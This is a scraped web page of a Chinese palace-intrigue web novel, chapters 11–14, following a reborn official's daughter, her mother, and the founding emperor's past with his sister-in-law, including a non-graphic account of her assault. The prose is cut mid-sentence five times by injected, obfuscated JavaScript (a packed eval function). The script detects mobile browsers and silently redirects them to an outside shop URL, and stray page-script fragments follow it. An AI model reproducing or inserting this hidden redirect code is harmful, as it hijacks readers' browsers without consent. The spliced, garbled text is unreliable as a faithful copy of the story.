“这个女儿自然明白,父亲到底还是当朝丞相,父亲的门生也是遍布朝野及各地的。” 李檀闻得此言,忍不住伸手弹了下闻雪英的脑门,“你父亲的那些势力,若是放在其他时候或许还有些用,可如今是大周建立第五年,你当跟着洪庆帝打天下的那些文臣武将都是死的吗?” “照我看,如今也就是洪庆帝还不算太老,尚且能压得住那批开国功臣,可万一哪日洪庆帝有了什么闪失,指不定会出什么乱子呢。” “再者,诚如你所说,大皇子没有登基的可能性,但二皇子呢,你打算用什么办法将他拉下去?你知道他的把柄是什么吗?娘刚刚听你的话,前世二皇子为了登基都做了些什么,你基本上是一概不知的,究竟他有没有做过会令洪庆帝对他失望的事你也不知道。“” “退一步讲,就算你如今知道了二皇子做过什么恶事,你又如何保证,在已经失去了一个儿子的前提下,洪庆帝会不会为了保住自己的血脉,而对二皇子的所作所为睁一只眼闭一只眼呢?据我所知,二皇子的生母仁献皇后,当年可是跟着洪庆帝在战场上出生入死,甚至还是为了救洪庆帝才会惨死于敌人的刀剑之下。他有这样一个娘,除非他做下穷凶极恶之事,否则我不认为你能轻易将他拉下。” 李檀的语气颇为严肃,一字一句听下来,闻雪英仿佛感到京都已经掀起了一股腥风血雨,她觉得自己要哭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059263|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔愣许久后,她才呆呆地说了一句:“……女儿倒是没想那么多。” 事实上今日听了娘亲这些话,闻雪英觉得自己根本没有想出过一个完整的计划。 她此前设想的是,她先设法嫁给洪庆帝,然后就静待靖桓宇将大皇子的身世捅给所有人,之后她再略施小计,绝了靖桓宇登基的可能性,到那时自己的孩子不就是唯一的太子人选么。 她想的太过理所当然,完全忽略了其中可能遭遇的变故与困难。 娘亲的话犹如一盆冷水将她整个人都浇得偃旗息鼓,难怪父亲始终对她嫁给陛下一事不予明确地表态。 这其中的弯弯绕绕,实在太过复杂,她一个闺阁小女子,真有能力改变未来吗? 闻雪英顿时有些泄气。 许是见女儿骤然失落无助的神情,李檀的口吻又轻松了几分,“不过你也别气馁,再怎么说,你也比别人多活了一世,只要有心,不怕不成事,再差也差不过前世。” 闻雪英:“……” 这话倒是没错,她一下子又来了信心,反正再差,也差不过前世家破人亡,满门惨死。 * 李檀见话说的差不多了,便开始收拾摊了一桌的账本,一副打算要离开的样子。 闻雪英上前按住她的手,“娘,您这便要走了吗?” 李檀道:“娘去萃华楼。” 萃华楼是京都一家客栈,距闻家倒是也不远,但怎么也得有一个时辰的车程,闻雪英看一眼天色,道:“娘,都这么晚了,您今日就住女儿这吧。” 她还想跟娘说说心里话呢。 李檀轻笑道:“傻孩子,若是往日,娘住就住了。” 但今天不同,今天是除夕,该是全家团圆的日子。她与闻仲年和离多年,两人虽还保持着良好的关系,但那是因为两人有一个共同的女儿。 但再怎么说,闻仲年如今也重新娶了妻,并且另有一对孩子,她再凑过去就有些不知趣了,即便闻仲年和晚宁心底或许并不介意,但李檀有自己的行事准则。 她又摸了摸闻雪英的脸颊,柔声道:“你母亲对你一向很好,娘自然也不能做出可能委屈她的事。” 娘亲既然这样说了,闻雪英也不好再挽留,她本来想跟着李檀今晚一起住在萃华楼,李檀却道不行,“咱们娘两也不是没有共度过除夕,娘还忙着对账呢,你就别跟着捣乱了。” 闻雪英:“……” 好嘛,在她娘心里,生意总是很重要的,她只能撇撇嘴,亲自送李檀从府中后门出去。 不过她并不觉得自己被娘亲忽略,反而很感激娘亲,她爹虽官居高位,可俸禄还是有些穷酸的,自己如今的优渥生活,全是因着李檀。 心底深处,闻雪英是很感激李檀这个娘亲的。 11. 第 11 章 送走李檀后,闻雪英便叫上鞠衣和琥珀,三人抱着李檀从宁州千里迢迢带来的新年贺礼去了正院。 听闻李檀已去了萃华楼,钱晚宁二话不说便道:“既如此,那我们今晚就都去萃华楼陪姐姐过年吧,也让府上的下人们松快松快!” 闻雪英:“……” 她都来不及阻拦,钱晚宁已经火急火燎地吩咐下人去备车马,又派了家中小厮提前去萃华楼定桌酒菜,接着又招呼闻雪雪英与闻仲年等人去换衣裳。 闻雪英看一眼正老神在在品茶的闻仲年,“爹,我娘是想让您和母亲两人一起过年的。” 闻仲年“嗤”地笑了一下,抬眼道:“在你母亲心里,你娘可是比我还重要的,你娘要是不在京都也就罢了,如今她人既在京都,你觉得你母亲会让她今晚一个人在萃华楼过?” 闻雪英:“……” 闻仲年说完便放下茶盏去换衣裳,闻雪英想了想他的话,不由噗嗤笑了出来。 她爹的话,怎么听着有些含酸捏醋呢? * 李檀回到萃华楼,又埋头看了一会儿账本。 天色渐渐暗了下来,青山皱着眉,一边劝她停下歇歇,一边却还是认命般地替她点了好几盏灯,将整个屋子照得敞亮。 李檀看得认真,无意间一抬头,就看见青山拉着一张脸,眼睛眨也不眨地瞪着她。 李檀微微一愣,继而忍俊不禁,“行了行了,我不看了,你可别再拉着张脸了,这样一点都不好看。” 青山闻言一怔,嘴角缓缓上扬了些。 李檀盯着他看了半晌,不由叹了口气道:“晚宁好歹是你老乡,你不去闻府看看她吗?” 青山弯下腰替她收拾一桌的狼藉,闻言淡淡道:“该看的时候就会看到的。” 李檀刚想问你这说的什么话,这时突然有人敲响房门,青山在收拾东西,李檀便起身去开门。 门外的身影着实让她吃了一惊,“晚宁,你怎么来了?” 李檀正问着,就见对面二楼的包厢内,闻雪英和闻雪洲闻雪琼三姐弟隔着窗户冲她招手,闻仲年则负手站在一旁,朝着李檀淡淡一颔首。 李檀顿时反应过来,她有些哭笑不得地看向钱晚宁,一时不知道该说什么。 她不由想起初见青山与晚宁的那一日。 十年前她去庆州与人谈生意,在街上走着走着就差点被一股尸臭味给熏得差点没了呼吸。 一凝神,发现尸臭味来自于不远处。 她捂着鼻子走近,就见一身披麻布地女子,正满脸凄然地跪在街边。 她身后左右两侧各有两张席子,下头盖着东西,李檀从她面前地面铺着的皱巴巴的一张纸上了解了当前的状况。 原来这身披麻布的女子叫钱晚宁,身后那两张席子下的人,分别是她死去的养父和义兄。 他们一家三口是从隔壁县逃难而来,到了庆州时养父与义兄不幸染了病,无药可医之下接连去世。 钱晚宁不能看着养父与义兄曝尸荒野,但她又身无分文,便只能卖身葬父葬兄。 可怜她跪了两日,尸体都臭了,也没人愿意帮她一把。 李檀看着周围捂着口鼻冷眼旁观却悄声指指点点的人群,想说什么却也张不开嘴。 国家到处都在打仗,人人自危之下,大家实在没有多余的精力向他人释放善意。 可李檀看不过去,她向钱晚宁伸出了援手。 她找了庆州当地与她谈生意的刘员外,说服他让出一块地用来给钱晚宁的养父一个死后的容身之所。 之所以只葬了她的养父,是因为她的义兄青山还剩下一口气。 想来她估计以为青山也迟早是个死,好在李檀出现了,帮她葬了养父,又帮她救了义兄的命。 从此,这对兄妹就黏上李檀了。 两人跪着向她发誓,这辈子要当牛做马地伺候她。 李檀并不想要一对奴仆,但显然她的意愿不重要,他们就是跟定了她。 后来机缘巧合之下,钱晚宁跟着李檀回京时与闻仲年相识,李檀看出两人之间有火花迸出,她便快刀斩乱麻,怂恿二人成了亲,自此,她终于“摆脱”了钱晚宁。 可“摆脱”了钱晚宁,却没摆脱掉青山,李檀之前倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059264|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人给青山说过媒人,她告诉青山,“你都老大不小了,晚宁都有身孕了,你也该对你的亲事上上心了,早点娶妻生子,你爹在天之灵也能安息,你说是不是?” 她说得苦口婆心,没换来青山的感激,反倒是整整看了一个月他的臭脸。 后来她实在忍不下去了,答应再不给他说媒,青山这才不再拉他那张脸。 如今晚宁的孩子都五岁了,青山还跟在她身边,也不知道她这辈子还能不能“摆脱”掉青山。 思绪至此,李檀忍不住噗嗤一笑,无奈道:“你可真是缠人的很。” 钱晚宁笑容满面,“知道我缠人还敢偷偷溜走。” 她上手就拉着李檀往楼梯口走,顺势回头道:“青哥,你也过来吧。” 青山淡淡“嗯”了一声,跟在李檀身后。 萃华楼的年夜饭,一桌人虽不是一家人,可大家都吃得十分尽兴,热热闹闹地也算过了个好年。 想必今夜,大周朝家家户户都过得很热闹吧,然而那个最该大肆庆祝除夕的皇宫,却意外显得有些冷清。 宫里各处虽也挂上了红色的福字,可满宫里一点欢声笑语都听不见。 洪庆帝靖渊并不想大年三十这日将臣子们叫到宫里参加那无聊的夜宴,他的三个孩子有两个现下并不在宫中,亲近的家人算起来只有靖桓洲以及孙贵妃。 靖桓洲倒是陪着靖渊用了几口膳,喝了几口酒,但靖桓洲酒量不好,三杯下肚就睡得不省人事了,靖渊只好让人将他扶至养居殿西侧殿歇下。 他一个人走到养居殿的门口,任凭冬日的冷风拂过他面颊,胸口有种说不上来的憋闷。 总管太监许望筌拿了件披风过来,“陛下,您饮了酒,仔细吹了风受了寒。” 靖渊默了片刻,突然道:“陪朕去看看贵妃吧。” 贵妃稍早时也来过养居殿,只是给他请了个安,略坐了坐就离开了,连年夜饭也不曾用过一口。 靖渊知道他在躲着自己,若是平日也就罢了,但今夜是除夕,靖渊很想找个熟悉的老人说说话。 今夜,便不能遂了贵妃的心意了。 12. 第 12 章 孙贵妃居住在皇城东北角的南风殿,那里几乎是离养居殿最远的地方,从养居殿过去,若是走路的话,少说也得一刻钟才能到。 今夜是除夕,宫道上挂满了红色灯笼,夜晚里头亮起了灯,红彤彤的,倒是让靖渊响起了幼时的时光。 他自有记忆以来便是跟城中的乞丐混迹在一起,那个乞丐窝里有很多像他这样的,或被拐,或被遗弃的小孩子。 那些年老的乞丐经常对他们又打又骂,逼着他们出去沿街乞讨。 人们见他是小孩子,往往出手也比较大方,但那些乞讨来的银钱食物,很少能留给他自己。 那个时候,他最期待的便是每年的除夕,也就只有在除夕这一日,在此起彼伏的鞭炮声中,老乞丐们“善心大发”,他才有机会吃上一顿饱饭。 后来遇到了师父,又有幸结识了紫一,那种食不果腹衣不蔽体的乞丐生涯离他越来越远,但那段记忆,靖渊始终不曾遗忘。 想到鞭炮声,靖渊突然意识到今夜的除夕有些安静,耳边隐隐的鞭炮声似乎也是来自宫外。 他略一沉思便明白过来,边走边对许望筌道:“让大家放放鞭炮,该怎么乐就怎么乐吧,朕只是不想举办什么无聊的除夕夜宴,不是连除夕都不让你们过。” 他成为这座皇宫的主人已有五年,前头四年,他还忙着到处征战,从未在宫内过过除夕,这回是第一遭,不过是吩咐了一句除夕当日不必准备夜宴,没想到下头的人连鞭炮也不放了。 靖渊哭笑不得,也明白过来,如今的自己,再不是那个吃不饱饭,又时常挨打受骂的小乞丐,他如今是皇帝,是那个可以主宰一切的人。 许望筌在他说完后就指了几个小太监去各处传话,等到靖渊到了南风殿时,宫内终于响起了清脆响亮的鞭炮声。 * 南风殿以前叫信阳殿,有一日贵妃突然来求靖渊,说是想将殿名改为南风殿。 贵妃甚少求他什么,改个殿名这种小事靖渊自然答应。 养居殿离南风殿有一段距离,靖渊没有乘坐轿辇,走了好一会儿才到。 贵妃早得了消息,正带着南风殿宫人在门口相迎。 “起来吧。”靖渊让她起了身,目光略略在她脸上停顿,见她气色尚好,心下也安稳了不少。 “天气冷,进去说话吧。”话落靖渊抬脚进了南风殿大门,孙贵妃便转身跟上。 入了殿,宫女捧上了茶盏点心,靖渊便叫他们下去。 他在殿内环视一圈,发现窗下支着一副画架,上面是一副画了一半的画。 靖渊走到画前停下,静静看了片刻道:“你画的是亳州城外的鹿鸣山?” 孙贵妃微微一笑,道:“陛下好眼力,臣妾所画正是鹿鸣山。” “亳州地处南方,即便是这个季节的鹿鸣山,也不该是如此荒凉萧瑟。” 靖渊得到确定的回答,眉头不由一皱,他侧头看着贵妃,道:“紫鸳,你想不想回亳州?” 孙贵妃愣了愣,似有些恍惚,须臾,她笑道:“陛下还记得臣妾的闺名。” 靖渊温和地笑了笑,道:“自然记得,当年你姐姐教你写字,首先便是写你的名字,你不天天抱怨紫鸳这个名字笔画太繁琐,吵着要跟你姐姐交换名字么。” 提起已逝的姐姐,孙贵妃脸上的笑有一瞬间的僵硬,然而她很快便用着充满怀念的语气道:“可不是吗,整整二十二画,姐夫你知道我最不爱写字了。” 这一声姐夫叫出来,两人皆是一愣,靖渊突然想说什么,只是还没来得及开口,孙贵妃便道:“陛下恕罪,臣妾失言了。” 靖渊:“……” 他能感觉到,方才有一刹那,贵妃身上拒人于千里之外的气息消失了,可不过短短一瞬,她就再度变成了那个端庄得体,却始终对所有人都疏离冷淡的贵妃。 靖渊无奈,只好岔开话题:“你兄长离京时跟朕说过,岳父岳母曾提及去后要葬在亳州老家,故朕已经让你兄长一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059265|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子回亳州替二老置办身后事,你若想回去送他们一程,朕派人送你去?” 灯火下,孙贵妃的眼中似有水光掠过,不过她开口却是拒绝:“陛下,他们虽是臣妾的双亲,但臣妾却是陛下的贵妃,臣妾若去亳州,不合规矩,说不定会惹得朝野非议。” “你不必在乎这一点,朕是大周的开国皇帝,大周的规矩自然是朕说了算。” 言外之意他可以为了贵妃更改礼教律法,实际上他最近正在琢磨安排人重新编撰属于大周的各种律法,不如就从贵妃这开始吧。 但贵妃却不领情,她微微含笑道:“多谢陛下成全,但还是不劳烦陛下了。” 这便是很明确的拒绝了。 靖渊看得出,贵妃心里压根没有回亳州送她双亲最后一程的想法。 他能猜得出贵妃为何不愿,却说不出什么劝慰的话。 毕竟她当年也是被亲生的父母深深伤害过。 靖渊叹了口气,记忆拉回到德明五十五年…… 那一年,他已成为一方霸主,手下亦集结了天下各路英豪,他带领着他们征战厮杀,将那些入侵中原的各路蛮夷鞑虏杀得节节败退,解救了无数多年来被外族奴役屠戮的百姓。 他所带领的军队已经得到了天下民心,灭掉苟延残喘的李朝也是迟早的事。 在正式向李朝皇室发起进攻之前,靖渊抽空回了趟亳州,探望自己的一双儿女,期间便住在岳父孙家。 到家第二日,岳父岳母便拿出一封信,说是亡妻临死前所写。 靖渊拿过一看,上头的确是亡妻的字迹,写着希望他能娶了姨妹紫鸳为继室。 靖渊感念亡妻为他生下一双伶俐懂事的儿女,又因自己常年在外而对亡妻多有愧疚,但再感念再愧疚,他也还是无法答应亡妻这般请求。 当下他的岳父岳母并未说什么,靖渊也就以为这事就过去了,但事实证明他想的太天真,他没想到,岳父岳母会用那样激烈的手段逼迫他娶紫鸳…… 13. 第 13 章 拒绝了亡妻的遗愿,当下岳父岳母并未说什么,反而还顺着他感慨道:“紫一病重的时候,是有些糊涂了,这封信她指明了只交给你,我们也是今日才知道她居然是写下了这件事,你不要怪她。” 靖渊当然不会怪她,他与紫一成婚不到一年就匆匆离家,之后也就只有在女儿一岁生辰时抽空回来过一趟,后来战事越来越紧,再见她时她已变成一抔黄土。 他对紫一多有亏欠,只是也不能按着她的遗愿行事,这样对谁都不公。 靖渊以外这事便到此为止了,岂料就在两日后,他第一次遭到家人的暗算。 两日后的早上,他被一阵丝丝缕缕的哭声和不绝于耳的怒骂声吵醒,醒来后发现房内有些拥挤,紫鸳身上的衣衫有些凌乱褴褛,正将自己蜷缩起来坐在他的床脚低声啜泣; 而面前的地上,他的岳父岳母以及舅哥等人正对他怒目而视。 靖渊被指着鼻子骂了一通,孙家的人斥他口是心非,道貌岸然,嘴上说着不愿娶姨妹为妻,转头却又做出玷污姨妹这种不知廉耻之事。 靖渊头疼无比,在他们的责骂声中闭上眼,仔细回想昨夜的事。 他昨夜收到手下将领来信,说他们又拿下了李朝的一座都城,势力范围继续扩大。 靖渊一时高兴,难得如今又身在岳父家中,不用担心敌人来犯,他就跟随行的护卫小酌了几杯,结束时头有些晕,便独自回到亡妻生前的闺房睡了。 虽有些醉,但不至于不省人事,连自己做过什么,没做过什么都不记得。 他坚信自己昨夜没有做出玷污姨妹的事,但无论他怎么解释,孙家人始终指着他鼻子骂个不停,言语间不断提及紫鸳被他玷污,以后定然是没人要了,她又哪里有脸再见人等等。 靖渊好歹也是尸山血海里走过来的人,人心险恶他再熟悉不过,他渐渐有所察觉,第一次在孙家人面前冷了脸。 他常年杀伐征战,身世多多少少沾染了些血气,孙家的人皆是手无缚鸡之力之辈,见他露出不耐烦的神色,便住了嘴,不情不愿地被靖渊“请”了出去。 房内只剩下他和紫鸳,靖渊一把扯下床帐丢给她,接着问她:“紫鸳,昨夜发生了什么,你还记得吗?” 紫鸳满脸都是泪,闻言只是哭得更凶。 靖渊只觉得头疼,他深吸一口气,斩钉截铁地道:“紫鸳,你知道的,姐夫一向都只把你当成亲妹妹,姐夫对天发誓,对你从无二心,更不会对你有什么龌龊举动。” 话落又过了半晌,紫鸳的哭声小了一些,靖渊见她轻轻点了点头。 靖渊心中一喜,朝她走近了两步,他本想说昨夜他什么都没做过,让紫鸳也不必担心,可就在靠近的一瞬间,他看见了紫鸳露出的脖颈上,有乌青的手指印。 只看大小,赫然是男人的手指印。 靖渊的心一下子沉到了谷底,他抿了抿唇,艰难道:“紫鸳,姐夫接下来要问的话,或许会让你觉得难堪,但为了你的名声,你得回答我。” 床上蜷缩成一团的紫鸳抬起了头,一双红肿不堪的眼望着他,里头满是对他的信任。 靖渊别过头,欲言又止道:“你可觉得身子有哪里不适?” “很疼,我觉得很疼,尤其是……” 只看她苍白着脸又难为情的样子,靖渊还有什么不明白的。 他和紫鸳两人都被算计了。 他不愿娶紫鸳,而紫鸳也不像是愿意嫁他的样子。 靖渊几乎可以确认,所谓亡妻的遗愿,或许并不是亡妻的遗愿,多半是孙家其他人的愿望。 思来想去不外乎是因为自己如今的地位。 “发生这样的事,是姐夫对不住你。”怪他一开始没有看破孙家人的心思,若他早给他们吃一个定心丸,告诉他们无论将来如何,他都不会忘记孙家对他的恩德,紫鸳或许也不会遭遇这样的事。 靖渊冷静下来,缓缓道:“紫鸳,姐夫可以帮你找到伤害你的人,替你报仇。” 以他如今的势力,找一个人可以说是不费吹灰之力。 “至于昨夜发生的事,姐夫也可以保证,没有人敢对外多说一个字。” 然而良久的沉默后,紫鸳却说:“姐夫,若是可以的话,你就娶了我吧。” “至于报仇的事,我自己来。” 靖渊意外于她的抉择,但也生怕她做出什么傻事,便答应娶她。 两人匆忙地成了亲,他便再度返回军中,走时给她留下了自己的一队亲卫,也算是让她有个依靠。 之后他便忙于战事,直到攻下李朝都城,称了帝立了国,这才派人去亳州接紫鸳到京都。 本来他是想立紫鸳为后的,但紫鸳却说不想当皇后,于是靖渊便给了她贵妃的位分。 这么些年,他和紫鸳两个人越来越生分,他欲放紫鸳出宫,曾多次提出让她假死离开,无论她之后想做什么,他都会支持她,但紫鸳却是不愿离开。 当年那个伤害她的人,据留给她的亲卫说,紫鸳足足折磨了他三年,最终才给了他一个痛快。 但无论她如何在那畜生身上发泄愤恨的情绪,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097766|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法抵消家人的背叛给她带来的伤害。 当年策划一切的人,正是她的父亲,也是靖渊的岳父,不久前惨死的周国公。 亲人带来的伤害,总是没那么容易释怀。 既然她不愿回亳州,靖渊自然不会勉强她。 略坐了坐,靖渊打算离开,贵妃这时突然问道:“听说陛下决定年后选秀?” 靖渊点了点头。 贵妃面上露出由衷的喜悦:“陛下还年轻,是该多选几个人进宫,后位总不能一直空着,也许陛下会遇到与您相知相守的人。” 靖渊笑了笑,道:“桓洲和桓宇也大了,朕答应选秀,最主要的目的还是给他们两挑选合适的皇子妃,至于朕……” 靖渊顿了顿,叹口气道:“再说吧。” 大周初立,国库空虚,缺钱的很。 后宫的人越多,支出也越多。 他千辛万苦才打下这一片江山,自然是更愿意把钱花在军费以及民生上。 贵妃温和道:“陛下,您是大周第一位皇帝,后宫却只有臣妾一人,如此,前朝的大臣只怕是难以放下将族中女子送进后宫的想法。” 靖渊:“……” 他又何尝不懂。 哎,原以为最难的是打天下,没想到治理天下、稳定朝局同样不简单! 贵妃继续道:“前几日臣妾举办赏梅会,见了不少官家小姐,臣妾觉得她们的容貌虽各有不同,但却是个个都知书达理,端庄大方,瞧着都不错。” 短暂的怔愣过后,靖渊不由失笑,“还以为你是自己无聊了才办赏梅会,没想到你倒是先替朕相看上了。” 贵妃也笑:“陛下别往自己脸上贴金,臣妾主要还是觉得无聊。” 靖渊含笑道:“先替桓洲桓宇定下皇子妃人选吧,朕到底是男子,到时候选儿媳的事,少不了要你出面帮忙掌眼。” 贵妃轻轻颔首,想了想又道:“还是得问问两个孩子,不知他们是否有中意的女子?” “你有空召他们进宫问吧,也不急。” 贵妃颔首:“是,臣妾遵旨。” 该说的话说差不多了,这时外头突然响起了一阵鞭炮声,夜空中绽放了绚丽的烟花。 到子时了,又是新的一年了。 靖渊举杯,道:“紫鸳,新的一年,愿你诸事愿,胜如旧。” 贵妃亦举杯回应:“陛下也是,愿陛下新的一年万事顺遂,也能找到一个相知相许之人。” 靖渊将杯中清酒一饮而尽,心头的孤寂之感并未消减分毫。 14. 第 14 章 时间已经很晚了,靖渊也渐渐来了困意,正打算回养居殿就寝,这时耳边突然响起一道娇俏的女声:“姑姑你看,这束梅花……臣女参见陛下!” 进来的是贵妃的娘家侄女孙淑仪,她似乎是没想到靖渊也在,冒冒失失地就跑了进来,乍然看到靖渊,忙噤声跪了下去。 孙淑仪比靖桓洲小一岁,以前他忙里偷闲回家看望一双儿女时,也曾见过这个孩子,在靖渊眼里,她跟自己的女儿差不多,靖渊并不在乎她的冒失,贵妃倒是先沉了脸,冷声斥道:“没规矩的东西,慌慌张张像什么样子?” 靖渊愕然贵妃的突然变脸,他愣了一瞬,继而笑着开口:“无妨,你起来吧。” 继而又他和善道:“怎么你没随你父亲回亳州?” 孙淑仪谢恩起身,手里捧着一束开得正艳的梅花,细声道:“回陛下,父亲说此一去,少不得要两个多月才能回来,适逢除夕,父亲怕姑母在宫中寂寞,便让臣女留了下来,入宫陪伴姑母。” 靖渊点了点头,心道有娘家侄女陪着贵妃也好,他摆出慈爱的笑容,叮嘱道:“那你就多陪你姑母说说话,朕先回去了。” 说罢他便站了起来,孙淑仪见他要走,咬了咬唇突然上前一步,将她手里那支梅花递到靖渊面前,道:“陛下,臣女刚过来时,见院中梅花开得正好,可见姑母平日费了不少功夫去栽培,臣女今日便借花献福,将这支梅花赠与陛下,臣女也恭祝陛下新的一年万事顺遂。” 孙贵妃冷眼看着孙淑仪在靖渊面前的一举一动,神情间尽是冷漠。 她这个娘家侄女想做什么,她看得一清二楚,但她并未出声阻拦,只是冷静地看着,等着靖渊的反应。 靖渊并没有接过梅花,他盯着那支梅花看了一会儿,视线接着移到孙淑仪脸上。 孙淑仪见他看向她,脸上的笑更明媚了些。 靖渊的眉头不由蹙起,他似笑非笑地点了点头,说道:“是啊,你姑母最喜欢梅花,为了外头那片梅花,她的确没少费心思……以后别摘梅花了,省得惹你姑母不高兴。” 他的声线平缓,语气依旧充满着慈爱,孙淑仪听罢嘴角的笑却是下意识地一僵,脸色霎时变得通红,眼底浮现尴尬。 靖渊仿佛没看见,他又回头对贵妃道:“紫鸳,孩子或许不是故意摘你的梅花,你也不要太过苛责了。” 贵妃盈盈福身,含笑道:“是。” 靖渊没再看孙淑仪,大踏步出了南风殿。 他走后,孙淑仪还维持着递花的姿势站着,贵妃语气平平道:“我倒是没想到,你这丫头居然还有这心思。” 孙淑仪回了神,随手将梅花往桌上一搁,眨了眨眼疑惑道:“姑母这话何意?淑仪不懂。” 竟还装傻充愣。 孙贵妃扯了扯唇,轻声道:“敢对陛下起心思,你这是自寻死路。” 这话说出口,孙淑仪动作一滞,继而若无其事地坐在孙贵妃对面。 她的确对洪庆帝起了心思。 父亲母亲是希望她能嫁给表哥靖桓洲的,但孙淑仪却压根看不上靖桓洲,觉得他身为一个大男人,却优柔寡断,动不动就愁眉苦脸,唉声叹气,没有半点男子该有的阳刚之气。 靖桓洲只让她觉得晦气。 因此,她喜欢与靖桓洲的性格截然相反的靖渊,虽然他是她的姑父,可那又如何呢?历朝历代不乏姑侄共侍一夫者,孙淑仪已经打定了主意要入宫。 她淡淡回道:“姑母,您对陛下冷冷淡淡的不上心,总不能也不让我对陛下好吧?” 孙贵妃平静道:“对方乐意,你的好才是好,对方若是不乐意,你的好便是一种痴缠烦扰,只会让人心生厌恶。” 方才短短片刻,孙贵妃目睹靖渊脸上的慈爱消失,知道他也看出了侄女的意图,从他的种种反应里,孙贵妃知道靖渊心里对孙淑仪已经生出了芥蒂。 “姑母劝你一句,在陛下面前,最好还是是谨守你作为一个晚辈的本分,别失了分寸,反倒得不偿失。” 孙淑仪却不以为然,她扬了扬脸道:“姑母这是看不起淑仪吗,还是怕淑仪将来入了宫,会压姑母一头?” 孙贵妃:“……” 一番好心被人当成了驴肝肺,贵妃冷冷地瞥了孙淑仪一眼,顿时没了与她废话的心思。 该提醒的她已经说了,既然她执意要犯蠢,她也懒得阻拦。 * 李朝皇室掌权时,京中五品以上的官员及各自家眷要在大年三十这日入宫给宫里的贵人磕头拜年,但靖渊称帝后却免了这一条规矩,他道大年三十这日,与家人团聚相伴才是人们心底最渴望的,至于入宫给他磕头拜年这事,就放在年初五吧。 于是到了大年初五这日,闻雪英再度起了个大早,与钱晚宁一同入宫。 闻仲年自然也要入宫,官员去养居殿给皇帝拜年,女眷们则该去后宫拜见皇后,如今宫中没有皇后,受这份礼的自然是孙贵妃。 闻雪英前世也只在逢年过节入宫请安时见过孙贵妃,她印象中那时的孙贵妃眉间总是挂着一抹愁绪,整个人瞧着郁郁寡欢的,不怎么搭理人,也不怎么爱说话,身上总是散发着一股拒人于千里之外的气息。 但这次入宫所见的贵妃,却是跟印象中不同。 贵妃虽也不怎么笑,但她眉间的愁绪似乎不见了。 闻雪英有些好奇。 行完礼后,孙贵妃留下了官员夫人们说话,吩咐宫人带着其余年轻的官家小姐去院里赏梅。 闻雪英与其他官家小姐一同退出殿外。 她对赏花没什么兴趣,便和琥珀一起静静地站在梅林入口处,看着那些打扮得鲜艳明媚的官家小姐们三三两两,嬉笑着着涌入梅林中。 有人从她身边经过时,突然撞了她肩膀一下,力度虽不大,但闻雪英没有防备,还是冷不防被撞得一个趔趄,幸好琥珀出手扶住了她。 闻雪英站稳,看向撞她的人,发现是茉阳郡主…… 好吧,人家是郡主,她只是普通的官家小姐,被撞也只能认了。 闻雪英敛衽行礼,“臣女见过郡主殿下。” 茉阳郡主:“哼!” 众目睽睽之下,茉阳郡主的傲慢一如既往,冷哼一声后便扬长而去,架势堪比公主。 琥珀实在看不下去,一张脸气得鼓起,“小姐,茉阳郡主怎么这么无礼啊,撞了人还这么理直气壮的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097767|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻雪英轻轻按了按她的手背,冲她摇了摇头,示意她慎言。 宫里人多眼杂,不比家里,有些话还是放在心里的好。 再者茉阳郡主于她来说只是个不相干的人,既是不相干的人,便没有必要因她费神。 不过跟在茉阳郡主身边的女子,倒是引起了闻雪英的注意。 若她没认错的话,那女子名叫季曼儿,是钦天监监正季洪的女儿。 